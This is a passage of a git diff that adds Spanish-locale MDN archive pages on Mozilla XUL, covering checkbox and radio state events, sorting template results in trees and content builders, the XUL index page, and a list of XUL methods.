+    <p>This event is sent when a <a href="/en/XUL/checkbox" title="en/XUL/checkbox"> checkbox</a> is checked or unchecked, either by the user or a script. Normally, you would use the command event to listen to checkbox changes, however, the command event is only sent when the user modifies the value, while the CheckboxStateChange event is also sent when a script modifies the checked property of a checkbox. For user changes, the CheckboxStateChange event is sent before the command event. The CheckboxStateChange event does not bubble.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>RadioStateChange</p>
+   </td>
+   <td>
+    <p>This event is sent when a <a href="/en/XUL/radio" title="en/XUL/radio"> radio</a> button is selected, either by the user or a script. Normally, you would use the command event to listen to radio button selection changes, however, the command event is only sent when the user changes the selected radio button, while the RadioStateChange event is also sent when a script modifies the selection. For user changes, the RadioStateChange event is sent before the command event. The RadioStateChange event bubbles so you can also attach the event handler to the enclosing <a href="/en/XUL/radiogroup" title="en/XUL/radiogroup"> radiogroup</a>.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/es/archive/mozilla/xul/guía_de_plantillas/index.html b/files/es/archive/mozilla/xul/guía_de_plantillas/index.html
new file mode 100644
index 0000000000..6a22cc7d9b
--- /dev/null
+++ b/files/es/archive/mozilla/xul/guía_de_plantillas/index.html
@@ -0,0 +1,6 @@
+---
+title: Guía de plantillas
+slug: Archive/Mozilla/XUL/Guía_de_plantillas
+translation_of: Archive/Mozilla/XUL/Template_Guide
+---
+<p>This page was auto-generated because a user created a sub-page to this page.</p>
diff --git a/files/es/archive/mozilla/xul/guía_de_plantillas/ordenar_resultados/index.html b/files/es/archive/mozilla/xul/guía_de_plantillas/ordenar_resultados/index.html
new file mode 100644
index 0000000000..916878ae02
--- /dev/null
+++ b/files/es/archive/mozilla/xul/guía_de_plantillas/ordenar_resultados/index.html
@@ -0,0 +1,100 @@
+---
+title: Ordenar resultados
+slug: Archive/Mozilla/XUL/Guía_de_plantillas/Ordenar_resultados
+tags:
+  - Guía_de_plantillas_XUL
+  - páginas_a_traducir
+translation_of: Archive/Mozilla/XUL/Template_Guide/Sorting_Results
+---
+<div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/XUL:Guía_de_plantillas:Modificaciones_RDF" style="float: left;">« Anterior</a><a href="/es/docs/XUL:Guía_de_plantillas:Atributos_adicionales_para_las_plantillas">Siguiente  »</a></p>
+</div>
+
+<p>The template content builder uses a separate component to insert generated nodes into the content tree. This is done when inserting the nodes when they are first created as well as when a new result is available. This additional component is called the sort service. It is responsible for determining where to insert nodes into the XUL document. Since the component is called the 'sort service' it is also used to sort the generated results. Since an RDF graph doesn't specify any order to results -- unless the items are in an RDF Seq -- the template builder will handle the results in any order. You may have noticed in the examples that results that are not in a Seq are not output in any particular order.</p>
+
+<p>The sort service may be used to order the results in some particular order, generally, ascending or descending based on the value of some predicate pointing out of the result node. The sort service also supports a third sort order, natural order, which is the default. It causes items to appear without any extra sorting in the order they are added. However, if the results are items in a Seq they will appear in the order listed in the Seq. For instance, the photos are listed in the same order in <a class="external" href="http://developer.mozilla.org/samples/xultemp/template-guide-ex19.xul">this example</a> as they appear in the Seq in the <a class="external" href="http://developer.mozilla.org/samples/xultemp/template-guide-photos4.rdf">datasource</a>.</p>
+
+<p>This method of sorting a Seq works best for simple rule conditions since it is obvious how the starting ref relates to the end member results (they are just the children), or for extended syntax rules that follow a similar pattern. For more complex rules, this natural sorting will not work, because the sort service assumes that the starting ref resource is the container and the end results are the children. In this case, the natural order of the results will just be the order that the template builder generates the results.</p>
+
+<p>For ascending or descending sorts, this doesn't matter, since it will ignore whether results are containers and just sort by a value, alphabetically or numerically depending on the type of data.</p>
+
+<p>The sort service only applies to content builders. The tree builder uses a different and much simpler means of sorting since there is no content to insert. It supports the same three types of sorting, natural, ascending or descending. In the latter two sort types, the tree builder sorts by the value in a column. For instance, if the photos were displayed in a two column tree showing the title and description, you could sort by either title or description. The user can change the sort column and direction by clicking the column headers, however, you can programmatically change the sort as well.</p>
+
+<h3 id="Sorting_Tree_Results">Sorting Tree Results</h3>
+
+<p>We'll examine sorting of trees first since trees are the most common element used with sorted items. Using a tree builder, you can sort the results in a tree by a column. To do this, place a sort attribute on a &lt;treecol&gt; element referring to the variable to sort by for that column.</p>
+
+<pre>&lt;treecol id="name" label="Name" sort="?name" flex="1"/&gt;
+&lt;treecol id="date" label="Date" sort="?date" flex="1"/&gt;
+</pre>
+
+<p>In this example, the first column will be sorted by the ?name variable and the second column by the ?date variable. When the sort is ascending, the tree rows will be sorted in alphabetical order. When the sort is descending, the tree rows will be sorted in the reverse order. For natural sorting, the rows will be sorted according to the natural order in the RDF datasource. Only one column applies a sort at a time. If the tree is sorted by name, and the user clicks on the date column header, the sort will change to the date column.</p>
+
+<p>There are two additional attributes used for sorting, which you may set on a column to specify the initial sort. These attributes are modified when the user changes the sort. The sortDirection attribute may be used to specify the initial sort direction for a column. Only one column should have this attribute set, as a tree may only be sorted by one column at a time. The value should be either 'ascending', 'descending' or 'natural'. This last value is the default if the attribute is not specified. The sortActive attribute may be set to true or false and specifies which column the tree is sorted by. Only one column should have the sortActive attribute set to true at a time. The tree will change both attributes as necessary automatically when the column headers are clicked or the tree is sorted by other means.</p>
+
+<p>If you don't want to allow sorting by a certain column, you can leave out the sort attribute. Only specify this attribute on columns that you wish to allow the user to sort by.</p>
+
+<p>Here is a <a class="external" href="http://developer.mozilla.org/samples/xultemp/template-guide-ex41.xul">complete example</a> of sorting a tree.</p>
+
+<p>The sort attribute should be set to the variable that holds the values to sort by. Usually, this would be the same variable that is used to generate the label for the cells in that column, however this is not actually necessary. For instance, in the example the second column sorts by date, but if you were to use a different variable such as ?description, assuming a &lt;binding&gt; set it, the tree would sort by the value of the description variable for each row. In almost all situations however, you would normally sort using the same variable used for the label value. However, one situation where this is not desirable is if the displayed values would not generate the correct order as there is a lower representation that is more accurate. For example, the date 'May 15' would appear after 'August 24' when sorted purely alphabetically but before it when sorted chronologically.</p>
+
+<p>Another way to sort by dates is to use the the parseType="Date" construct in the RDF datasource. This marks a literal as being a date value rather than a string. The builder will recognize this and sort chronologically instead. This also has the advantage that the dates will be displayed according to the user's current locale (meaning that the date is formatted so as to be suitable for the user's language). Here is a sample of how to specify this in the RDF/XML datasource:</p>
+
+<pre>&lt;rdf:RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+     xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+     xmlns:r="http://www.xulplanet.com/rdf/"
+     xmlns:nc="http://home.netscape.com/NC-rdf#"&gt;
+  &lt;rdf:Description rdf:about="http://www.xulplanet.com/ndeakin/images/t/palace.jpg"&gt;
+    &lt;r:date nc:parseType="Date"&gt;1125966767295&lt;r:date&gt;
+  &lt;/rdf:Description&gt;
+&lt;/rdf:RDF&gt;
+</pre>
+
+<p>You can also specify parseType="Integer" for numbers which will allow sorting numerically. By specifing different types for different values, you can sort alphabetically, numerically or by date.</p>
+
+<p>If you are using the simple rule syntax, there are no variables, so you need to specify the full predicate including the rdf: prefix in the sort attribute. For instance:</p>
+
+<pre>&lt;treecol id="name" label="Name" sort="rdf:http://purl.org/dc/elements/1.1/title" flex="1"/&gt;
+</pre>
+
+<p>Note that all of this discussion about sorting only applies to tree builders. For other elements or content trees, a different sorting mechanism must be used which will be discussed next.</p>
+
+<h3 id="Content_Sorting">Content Sorting</h3>
+
+<p>For content builders (templates that do not use flags="dont-build-content"), sorting is done using a different means. Instead of sorting on a variable generated during the template generation, sorting for content builders may only be performed using a triple pointing out of the member variable. There is no connection between the generated variables and the resource used for sorting, so it doesn't have to be one used in the template.</p>
+
+<p>You specify the resource used for sorting with the sortResource attribute on the root element, as follows:</p>
+
+<pre>&lt;hbox datasources="template-guide-photos5.rdf"
+      sortResource="http://purl.org/dc/elements/1.1/title"
+      sortDirection="ascending"
+      ref="http://www.xulplanet.com/rdf/myphotos"&gt;
+  &lt;template&gt;
+    &lt;vbox class="box-padded" uri="rdf:*"&gt;
+      &lt;image src="rdf:*"/&gt;
+      &lt;label value="rdf:http://purl.org/dc/elements/1.1/title"/&gt;
+    &lt;/vbox&gt;
+  &lt;/template&gt;
+&lt;/hbox&gt;
+</pre>
+
+<p>In <a class="external" href="http://developer.mozilla.org/samples/xultemp/template-guide-ex42.xul">this example</a>, the generated items will be sorted by title. The sortDirection attribute specifies the sort direction and may be set to "descending" for a reverse sort. The sortDirection attribute functions similarly to how the tree builder uses it. With a tree builder, each column has its own sort specified using the sort attribute, and the sortActive attribute is used to indicate the column that is currently sorted. For other content, there are no columns and only one sort is applicable, so the sortActive attribute is not necessary.</p>
+
+<p>When the template builder generates a result, the sort service uses the value of the sortResource predicate for the result to determine where in the content the generated output should be inserted. When the RDF datasource changes, and a new result is available, the sort service inserts the new content at the right location.</p>
+
+<p>Unlike with trees, you can sort using a secondary resource with the sortResource2 attribute which is used in the same manner as the sortResource attribute. If the values for the sortResource predicate are the same for two results, the sortResource2 predicate is used to further clarify the order. You can only have one secondary resource, that is, there is no sortResource3 attribute.</p>
+
+<p>To change the sorting for a template's generated contents, you can either change the sort related attributes and rebuild the template, or for listboxes and menus, you can call the sort service's sort method:</p>
+
+<pre>var listbox = document.getElementById("aListBox");
+
+var sortService = Components.classes["@mozilla.org/xul/xul-sort-service;1"].
+                    getService(Components.interfaces.nsIXULSortService);
+sortService.sort(listbox, "http://purl.org/dc/elements/1.1/title", "descending");
+</pre>
+
+<p>This code will sort a listbox by title in a descending order. The arguments to the sort method specify the root node (the listbox), the sort resource and the sort direction.</p>
+
+<div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/XUL:Guía_de_plantillas:Modificaciones_RDF" style="float: left;">« Anterior</a><a href="/es/docs/XUL:Guía_de_plantillas:Atributos_adicionales_para_las_plantillas">Siguiente  »</a></p>
+</div>
diff --git a/files/es/archive/mozilla/xul/index.html b/files/es/archive/mozilla/xul/index.html
new file mode 100644
index 0000000000..1189079118
--- /dev/null
+++ b/files/es/archive/mozilla/xul/index.html
@@ -0,0 +1,28 @@
+---
+title: XUL
+slug: Archive/Mozilla/XUL
+tags:
+  - Todas_las_Categorías
+  - XUL
+translation_of: Archive/Mozilla/XUL
+---
+<p> </p>
+<div class="callout-box"><strong><a href="/es/Tutorial_de_XUL" title="es/Tutorial_de_XUL">Empezando</a></strong><br>
+Tutorial de introducción a XUL, documento original de XULPlanet.</div>
+<div>
+<p><strong>XUL</strong> es el <em>lenguaje <a href="/es/XML" title="es/XML">XML</a> para interfaces de usuario</em> de Mozilla. Te permite crear potentes aplicaciones multiplataforma que pueden ejecutarse con conexión a Internet o sin ella. Estas aplicaciones son fácilmente personalizables con texto alternativo, gráficos, y diseños por lo que pueden ser fácilmente instalados o traducidos para diversos mercados. Los desarrolladores web que estén familiarizados con HTML Dinámico (<a href="/es/DHTML" title="es/DHTML">DHTML</a>) pueden aprender XUL fácilmente y empezar a crear aplicaciones ya.</p>
+</div>
+<table class="topicpage-table"> <tbody> <tr> <td> <h4 id="Documentación"><a href="/Special:Tags?tag=XUL&amp;language=es" title="Special:Tags?tag=XUL&amp;language=es">Documentación</a></h4> <dl> <dt><a href="/es/XUL/Elementos" title="es/XUL/Elementos">Referencia XUL</a></dt> <dd><small>Vea también la documentación del MDC sobre <a href="/es/Sistema_de_preferencias" title="es/Sistema_de_preferencias">prefwindow</a>.</small></dd> </dl> <dl> <dt><a href="/es/Bestiario_XUL" title="es/Bestiario_XUL">Bestiario XUL</a></dt> <dd><small> Esta "XULNote" muestra algunos conceptos clave y términos en el entorno de desarrollo XUL.</small></dd> </dl> <dl> <dt><a class="external" href="http://www.hevanet.com/acorbin/xul/top.xul">Xul Periodic Table <small>(en)</small></a></dt> <dd><small>Échale un vistazo a los elementos de una Interfaz XUL.</small></dd> </dl> <dl> <dt><a class="external" href="http://es.wikibooks.org/wiki/XUL/Introducci%C3%B3n">Wikilibro de XUL</a></dt> <dd><small> Wikilibro con una introducción al lenguaje XUL. </small></dd> </dl> <p><span><a href="/Special:Tags?tag=XUL&amp;language=es" title="Special:Tags?tag=XUL&amp;language=es">Ver Todos...</a></span></p> </td> <td> <h4 id="Comunidad">Comunidad</h4> <ul> <li>En los foros de Mozilla Hispano. <ul> <li><a class="external" href="http://www.mozilla-hispano.org/foro/viewforum.php?f=8">Desarrollo en XUL</a></li> </ul> </li> </ul> <ul> <li><a class="external" href="http://groups.google.com/group/dexul/">Lista sobre XUL en español</a></li> </ul> <ul> <li>En la comunidad Mozilla... en inglés.</li> </ul> <p></p><ul>
+  <li><a href="https://lists.mozilla.org/listinfo/dev-tech-xul"> como lista de correo</a></li>
+
+
+  <li><a href="http://groups.google.com/group/mozilla.dev.tech.xul"> como grupo de noticias</a></li>
+  <li><a href="http://groups.google.com/group/mozilla.dev.tech.xul/feeds"> como RSS</a></li>
+</ul> <span>* <a class="external" href="http://xulplanet.com/forum/" title="http://xulplanet.com/forum/">Foros de XULPlanet (en)</a></span><p></p> <p><span><a href="/es/XUL/Comunidad" title="es/XUL/Comunidad">Ver todas...</a></span></p> <h4 id="Herramientas">Herramientas</h4> <ul> <li><a class="external" href="http://starkravingfinkle.org/blog/xul-explorer/">XUL Explorer</a> (un sencillo IDE para XUL)</li> <li><a class="external" href="http://ted.mielczarek.org/code/mozilla/extensiondev/">Extensión para desarrolladores</a> (Editor XUL en tiempo real)</li> <li><a class="external" href="http://www.extensionsmirror.nl/index.php?showtopic=751">Barra lateral XULRef</a></li> <li><a class="external" href="http://www.getfirebug.com/">Firebug</a></li> <li><a href="/es/DOM_Inspector" title="es/DOM_Inspector">DOM Inspector</a></li> <li><a class="external" href="http://www.spket.com/">Spket IDE</a>, IDE para XUL/XBL</li> </ul> <p><span><a href="/Special:Tags?tag=XUL:Herramientas&amp;language=es" title="Special:Tags?tag=XUL:Herramientas&amp;language=es">Ver todas...</a></span></p> <h4 id="Temas_relacionados">Temas relacionados</h4> <dl> <dd><a href="/es/JavaScript" title="es/JavaScript">JavaScript</a>, <a href="/es/XBL" title="es/XBL">XBL</a>, <a href="/es/CSS" title="es/CSS">CSS</a>, <a href="/es/RDF" title="es/RDF">RDF</a>, <a href="/es/Extensiones" title="es/Extensiones">Extensiones</a>, <a href="/es/XULRunner" title="es/XULRunner">XULRunner</a></dd> </dl> </td> </tr> </tbody>
+</table>
+<p><span>Categorías</span></p>
+<p><span>Interwiki Language Links</span> <span>automatismos</span></p>
+<p> </p>
+<p> </p>
+<p> </p>
+<p></p>
diff --git a/files/es/archive/mozilla/xul/method/index.html b/files/es/archive/mozilla/xul/method/index.html
new file mode 100644
index 0000000000..101edc07d5
--- /dev/null
+++ b/files/es/archive/mozilla/xul/method/index.html
@@ -0,0 +1,174 @@
+---
+title: Métodos
+slug: Archive/Mozilla/XUL/Method
+translation_of: Archive/Mozilla/XUL/Method
+---
+<p><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/es/docs/XUL/Elementos" title="/es/docs/XUL/Elementos">Referencia de XUL</a></span></p>
+
+<ul>
+ <li><a href="/es/XUL/Method/acceptDialog" title="es/XUL/Method/acceptDialog">acceptDialog</a></li>
+ <li><a href="/es/XUL/Method/addItemToSelection" title="es/XUL/Method/addItemToSelection">addItemToSelection</a></li>
+ <li><a href="/es/XUL/Method/addPane" title="es/XUL/Method/addPane">addPane</a></li>
+ <li><a href="/es/XUL/Method/addProgressListener" title="es/XUL/Method/addProgressListener">addProgressListener</a></li>
+ <li><a href="/es/XUL/Method/addSession" title="es/XUL/Method/addSession">addSession</a></li>
+ <li><a href="/es/XUL/Method/addTab" title="es/XUL/Method/addTab">addTab</a></li>
+ <li><a href="/es/XUL/Method/advance" title="es/XUL/Method/advance">advance</a></li>
+ <li><a href="/es/XUL/Method/advanceSelectedTab" title="es/XUL/Method/advanceSelectedTab">advanceSelectedTab</a></li>
+ <li><a href="/es/XUL/Method/appendCustomToolbar" title="es/XUL/Method/appendCustomToolbar">appendCustomToolbar</a></li>
+ <li><a href="/es/XUL/Method/appendGroup" title="es/XUL/Method/appendGroup">appendGroup</a></li>
+ <li><a href="/es/XUL/Method/appendItem" title="es/XUL/Method/appendItem">appendItem</a></li>
+ <li><a href="/es/XUL/Method/appendNotification" title="es/XUL/Method/appendNotification">appendNotification</a></li>
+ <li><a href="/es/XUL/Method/blur" title="es/XUL/Method/blur">blur</a></li>
+ <li><a href="/es/XUL/Method/cancel" title="es/XUL/Method/cancel">cancel</a></li>
+ <li><a href="/es/XUL/Method/cancelDialog" title="es/XUL/Method/cancelDialog">cancelDialog</a></li>
+ <li><a href="/es/XUL/Method/centerWindowOnScreen" title="es/XUL/Method/centerWindowOnScreen">centerWindowOnScreen</a></li>
+ <li><a href="/es/XUL/Method/checkAdjacentElement" title="es/XUL/Method/checkAdjacentElement">checkAdjacentElement</a></li>
+ <li><a href="/es/XUL/Method/clearResults" title="es/XUL/Method/clearResults">clearResults</a></li>
+ <li><a href="/es/XUL/Method/clearSelection" title="es/XUL/Method/clearSelection">clearSelection</a></li>
+ <li><a href="/es/XUL/Method/click" title="es/XUL/Method/click">click</a></li>
+ <li><a href="/es/XUL/Method/close" title="es/XUL/Method/close">close</a></li>
+ <li><a href="/es/XUL/Method/collapseToolbar" title="es/XUL/Method/collapseToolbar">collapseToolbar</a></li>
+ <li><a href="/es/XUL/Method/contains" title="es/XUL/Method/contains">contains</a></li>
+ <li><a href="/es/XUL/Method/decrease" title="es/XUL/Method/decrease">decrease</a></li>
+ <li><a href="/es/XUL/Method/decreasePage" title="es/XUL/Method/decreasePage">decreasePage</a></li>
+ <li><a href="/es/XUL/Method/doCommand" title="es/XUL/Method/doCommand">doCommand</a></li>
+ <li><a href="/es/XUL/Method/ensureElementIsVisible" title="es/XUL/Method/ensureElementIsVisible">ensureElementIsVisible</a></li>
+ <li><a href="/es/XUL/Method/ensureIndexIsVisible" title="es/XUL/Method/ensureIndexIsVisible">ensureIndexIsVisible</a></li>
+ <li><a href="/es/XUL/Method/ensureSelectedElementIsVisible" title="es/XUL/Method/ensureSelectedElementIsVisible">ensureSelectedElementIsVisible</a></li>
+ <li><a href="/es/XUL/Method/expandToolbar" title="es/XUL/Method/expandToolbar">expandToolbar</a></li>
+ <li><a href="/es/XUL/Method/extra1" title="es/XUL/Method/extra1">extra1</a></li>
+ <li><a href="/es/XUL/Method/extra2" title="es/XUL/Method/extra2">extra2</a></li>
+ <li><a href="/es/XUL/Method/focus" title="es/XUL/Method/focus">focus</a></li>
+ <li><a href="/es/XUL/Method/getBrowserAtIndex" title="es/XUL/Method/getBrowserAtIndex">getBrowserAtIndex</a></li>
+ <li><a href="/es/XUL/Method/getBrowserForDocument" title="es/XUL/Method/getBrowserForDocument">getBrowserForDocument</a></li>
+ <li><a href="/es/XUL/Method/getBrowserForTab" title="es/XUL/Method/getBrowserForTab">getBrowserForTab</a></li>
+ <li><a href="/es/XUL/Method/getBrowserIndexForDocument" title="es/XUL/Method/getBrowserIndexForDocument">getBrowserIndexForDocument</a></li>
+ <li><a href="/es/XUL/Method/getButton" title="es/XUL/Method/getButton">getButton</a></li>
+ <li><a href="/es/XUL/Method/getDefaultSession" title="es/XUL/Method/getDefaultSession">getDefaultSession</a></li>
+ <li><a href="/es/XUL/Method/getEditor" title="es/XUL/Method/getEditor">getEditor</a></li>
+ <li><a href="/es/XUL/Method/getElementsByAttribute" title="es/XUL/Method/getElementsByAttribute">getElementsByAttribute</a></li>
+ <li><a href="/es/XUL/Method/getElementsByAttributeNS" title="es/XUL/Method/getElementsByAttributeNS">getElementsByAttributeNS</a></li>
+ <li><a href="/es/XUL/Method/getFormattedString" title="es/XUL/Method/getFormattedString">getFormattedString</a></li>
+ <li><a href="/es/XUL/Method/getHTMLEditor" title="es/XUL/Method/getHTMLEditor">getHTMLEditor</a></li>
+ <li><a href="/es/XUL/Method/getIndexOfFirstVisibleRow" title="es/XUL/Method/getIndexOfFirstVisibleRow">getIndexOfFirstVisibleRow</a></li>
+ <li><a href="/es/XUL/Method/getIndexOfItem" title="es/XUL/Method/getIndexOfItem">getIndexOfItem</a></li>
+ <li><a href="/es/XUL/Method/getItemAtIndex" title="es/XUL/Method/getItemAtIndex">getItemAtIndex</a></li>
+ <li><a href="/es/XUL/Method/getNextItem" title="es/XUL/Method/getNextItem">getNextItem</a></li>
+ <li><a href="/es/XUL/Method/getNotificationBox" title="es/XUL/Method/getNotificationBox">getNotificationBox</a></li>
+ <li><a href="/es/XUL/Method/getNotificationWithValue" title="es/XUL/Method/getNotificationWithValue">getNotificationWithValue</a></li>
+ <li><a href="/es/XUL/Method/getNumberOfVisibleRows" title="es/XUL/Method/getNumberOfVisibleRows">getNumberOfVisibleRows</a></li>
+ <li><a href="/es/XUL/Method/getPageById" title="es/XUL/Method/getPageById">getPageById</a></li>
+ <li><a href="/es/XUL/Method/getPreviousItem" title="es/XUL/Method/getPreviousItem">getPreviousItem</a></li>
+ <li><a href="/es/XUL/Method/getResultAt" title="es/XUL/Method/getResultAt">getResultAt</a></li>
+ <li><a href="/es/XUL/Method/getResultCount" title="es/XUL/Method/getResultCount">getResultCount</a></li>
+ <li><a href="/es/XUL/Method/getResultValueAt" title="es/XUL/Method/getResultValueAt">getResultValueAt</a></li>
+ <li><a href="/es/XUL/Method/getRowCount" title="es/XUL/Method/getRowCount">getRowCount</a></li>
+ <li><a href="/es/XUL/Method/getSearchAt" title="es/XUL/Method/getSearchAt">getSearchAt</a></li>
+ <li><a href="/es/XUL/Method/getSelectedItem" title="es/XUL/Method/getSelectedItem">getSelectedItem</a></li>
+ <li><a href="/es/XUL/Method/getSession" title="es/XUL/Method/getSession">getSession</a></li>
+ <li><a href="/es/XUL/Method/getSessionByName" title="es/XUL/Method/getSessionByName">getSessionByName</a></li>
+ <li><a href="/es/XUL/Method/getSessionResultAt" title="es/XUL/Method/getSessionResultAt">getSessionResultAt</a></li>
+ <li><a href="/es/XUL/Method/getSessionStatusAt" title="es/XUL/Method/getSessionStatusAt">getSessionStatusAt</a></li>
+ <li><a href="/es/XUL/Method/getSessionValueAt" title="es/XUL/Method/getSessionValueAt">getSessionValueAt</a></li>
+ <li><a href="/es/XUL/Method/getString" title="es/XUL/Method/getString">getString</a></li>
+ <li><a href="/es/XUL/Method/goBack" title="es/XUL/Method/goBack">goBack</a></li>
+ <li><a href="/es/XUL/Method/goBackGroup" title="es/XUL/Method/goBackGroup">goBackGroup</a></li>
+ <li><a href="/es/XUL/Method/goDown" title="es/XUL/Method/goDown">goDown</a></li>
+ <li><a href="/es/XUL/Method/goForward" title="es/XUL/Method/goForward">goForward</a></li>
+ <li><a href="/es/XUL/Method/goForwardGroup" title="es/XUL/Method/goForwardGroup">goForwardGroup</a></li>
+ <li><a href="/es/XUL/Method/goHome" title="es/XUL/Method/goHome">goHome</a></li>
+ <li><a href="/es/XUL/Method/goTo" title="es/XUL/Method/goTo">goTo</a></li>
+ <li><a href="/es/XUL/Method/gotoIndex" title="es/XUL/Method/gotoIndex">gotoIndex</a></li>
+ <li><a href="/es/XUL/Method/goUp" title="es/XUL/Method/goUp">goUp</a></li>
+ <li><a href="/es/XUL/Method/hasUserValue" title="es/XUL/Method/hasUserValue">hasUserValue</a></li>
+ <li><a href="/es/XUL/Method/hidePopup" title="es/XUL/Method/hidePopup">hidePopup</a></li>
+ <li><a href="/es/XUL/Method/increase" title="es/XUL/Method/increase">increase</a></li>
+ <li><a href="/es/XUL/Method/increasePage" title="es/XUL/Method/increasePage">increasePage</a></li>
+ <li><a href="/es/XUL/Method/insertItem" title="es/XUL/Method/insertItem">insertItem</a></li>
+ <li><a href="/es/XUL/Method/insertItemAt" title="es/XUL/Method/insertItemAt">insertItemAt</a></li>
+ <li><a href="/es/XUL/Method/invertSelection" title="es/XUL/Method/invertSelection">invertSelection</a></li>
+ <li><a href="/es/XUL/Method/loadGroup" title="es/XUL/Method/loadGroup">loadGroup</a></li>
+ <li><a href="/es/XUL/Method/loadOneTab" title="es/XUL/Method/loadOneTab">loadOneTab</a></li>
+ <li><a href="/es/XUL/Method/loadTabs" title="es/XUL/Method/loadTabs">loadTabs</a></li>
+ <li><a href="/es/XUL/Method/loadURI" title="es/XUL/Method/loadURI">loadURI</a></li>
+ <li><a href="/es/XUL/Method/loadURIWithFlags" title="es/XUL/Method/loadURIWithFlags">loadURIWithFlags</a></li>
+ <li><a href="/es/XUL/Method/makeEditable" title="es/XUL/Method/makeEditable">makeEditable</a></li>
+ <li><a href="/es/XUL/Method/moveByOffset" title="es/XUL/Method/moveByOffset">moveByOffset</a></li>
+ <li><a href="/es/XUL/Method/moveTo" title="es/XUL/Method/moveTo">moveTo</a></li>
+ <li><a href="/es/XUL/Method/moveToAlertPosition" title="es/XUL/Method/moveToAlertPosition">moveToAlertPosition</a></li>
+ <li><a href="/es/XUL/Method/onSearchComplete" title="es/XUL/Method/onSearchComplete">onSearchComplete</a></li>
+ <li><a href="/es/XUL/Method/onTextEntered" title="es/XUL/Method/onTextEntered">onTextEntered</a></li>
+ <li><a href="/es/XUL/Method/onTextReverted" title="es/XUL/Method/onTextReverted">onTextReverted</a></li>
+ <li><a href="/es/XUL/Method/openPopup" title="es/XUL/Method/openPopup">openPopup</a></li>
+ <li><a href="/es/XUL/Method/openPopupAtScreen" title="es/XUL/Method/openPopupAtScreen">openPopupAtScreen</a></li>
+ <li><a href="/es/XUL/Method/openSubDialog" title="es/XUL/Method/openSubDialog">openSubDialog</a></li>
+ <li><a href="/es/XUL/Method/openWindow" title="es/XUL/Method/openWindow">openWindow</a></li>
+ <li><a href="/es/XUL/Method/preferenceForElement" title="es/XUL/Method/preferenceForElement">preferenceForElement</a></li>
+ <li><a href="/es/XUL/Method/reload" title="es/XUL/Method/reload">reload</a></li>
+ <li><a href="/es/XUL/Method/reloadAllTabs" title="es/XUL/Method/reloadAllTabs">reloadAllTabs</a></li>
+ <li><a href="/es/XUL/Method/reloadTab" title="es/XUL/Method/reloadTab">reloadTab</a></li>
+ <li><a href="/es/XUL/Method/reloadWithFlags" title="es/XUL/Method/reloadWithFlags">reloadWithFlags</a></li>
+ <li><a href="/es/XUL/Method/removeAllItems" title="es/XUL/Method/removeAllItems">removeAllItems</a></li>
+ <li><a href="/es/XUL/Method/removeAllNotifications" title="es/XUL/Method/removeAllNotifications">removeAllNotifications</a></li>
+ <li><a href="/es/XUL/Method/removeAllTabsBut" title="es/XUL/Method/removeAllTabsBut">removeAllTabsBut</a></li>
+ <li><a href="/es/XUL/Method/removeCurrentNotification" title="es/XUL/Method/removeCurrentNotification">removeCurrentNotification</a></li>
+ <li><a href="/es/XUL/Method/removeCurrentTab" title="es/XUL/Method/removeCurrentTab">removeCurrentTab</a></li>
+ <li><a href="/es/XUL/Method/removeItemAt" title="es/XUL/Method/removeItemAt">removeItemAt</a></li>
+ <li><a href="/es/XUL/Method/removeItemFromSelection" title="es/XUL/Method/removeItemFromSelection">removeItemFromSelection</a></li>
+ <li><a href="/es/XUL/Method/removeNotification" title="es/XUL/Method/removeNotification">removeNotification</a></li>
+ <li><a href="/es/XUL/Method/removeProgressListener" title="es/XUL/Method/removeProgressListener">removeProgressListener</a></li>
+ <li><a href="/es/XUL/Method/removeSession" title="es/XUL/Method/removeSession">removeSession</a></li>
+ <li><a href="/es/XUL/Method/removeTab" title="es/XUL/Method/removeTab">removeTab</a></li>
+ <li><a href="/es/XUL/Method/removeTransientNotifications" title="es/XUL/Method/removeTransientNotifications">removeTransientNotifications</a></li>
+ <li><a href="/es/XUL/Method/replaceGroup" title="es/XUL/Method/replaceGroup">replaceGroup</a></li>
+ <li><a href="/es/XUL/Method/reset" title="es/XUL/Method/reset">reset</a></li>
+ <li><a href="/es/XUL/Method/rewind" title="es/XUL/Method/rewind">rewind</a></li>
+ <li><a href="/es/XUL/Method/scrollByIndex" title="es/XUL/Method/scrollByIndex">scrollByIndex</a></li>
+ <li><a href="/es/XUL/Method/scrollByPixels" title="es/XUL/Method/scrollByPixels">scrollByPixels</a></li>
+ <li><a href="/es/XUL/Method/scrollToIndex" title="es/XUL/Method/scrollToIndex">scrollToIndex</a></li>
+ <li><a href="/es/XUL/Method/select" title="es/XUL/Method/select">select</a></li>
+ <li><a href="/es/XUL/Method/selectAll" title="es/XUL/Method/selectAll">selectAll</a></li>
+ <li><a href="/es/XUL/Method/selectItem" title="es/XUL/Method/selectItem">selectItem</a></li>
+ <li><a href="/es/XUL/Method/selectItemRange" title="es/XUL/Method/selectItemRange">selectItemRange</a></li>
+ <li><a href="/es/XUL/Method/setSelectionRange" title="es/XUL/Method/setSelectionRange">setSelectionRange</a></li>
+ <li><a href="/es/XUL/Method/showPane" title="es/XUL/Method/showPane">showPane</a></li>
+ <li><a href="/es/XUL/Method/showPopup" title="es/XUL/Method/showPopup">showPopup</a></li>
+ <li><a href="/es/XUL/Method/sizeTo" title="es/XUL/Method/sizeTo">sizeTo</a></li>
+ <li><a href="/es/XUL/Method/startEditing" title="es/XUL/Method/startEditing">startEditing</a></li>
+ <li><a href="/es/XUL/Method/stop" title="es/XUL/Method/stop">stop</a></li>
+ <li><a href="/es/XUL/Method/stopEditing" title="es/XUL/Method/stopEditing">stopEditing</a></li>
+ <li><a href="/es/XUL/Method/syncSessions" title="es/XUL/Method/syncSessions">syncSessions</a></li>
+ <li><a href="/es/XUL/Method/timedSelect" title="es/XUL/Method/timedSelect">timedSelect</a></li>
+ <li><a href="/es/XUL/Method/toggleItemSelection" title="es/XUL/Method/toggleItemSelection">toggleItemSelection</a></li>
+</ul>
+
+<h3 id="Related_DOM_element_methods" name="Related_DOM_element_methods">Related DOM element methods</h3>
+
+<ul>
+ <li><a href="/es/DOM/element.addEventListener" title="es/DOM/element.addEventListener">DOM:element.addEventListener</a></li>
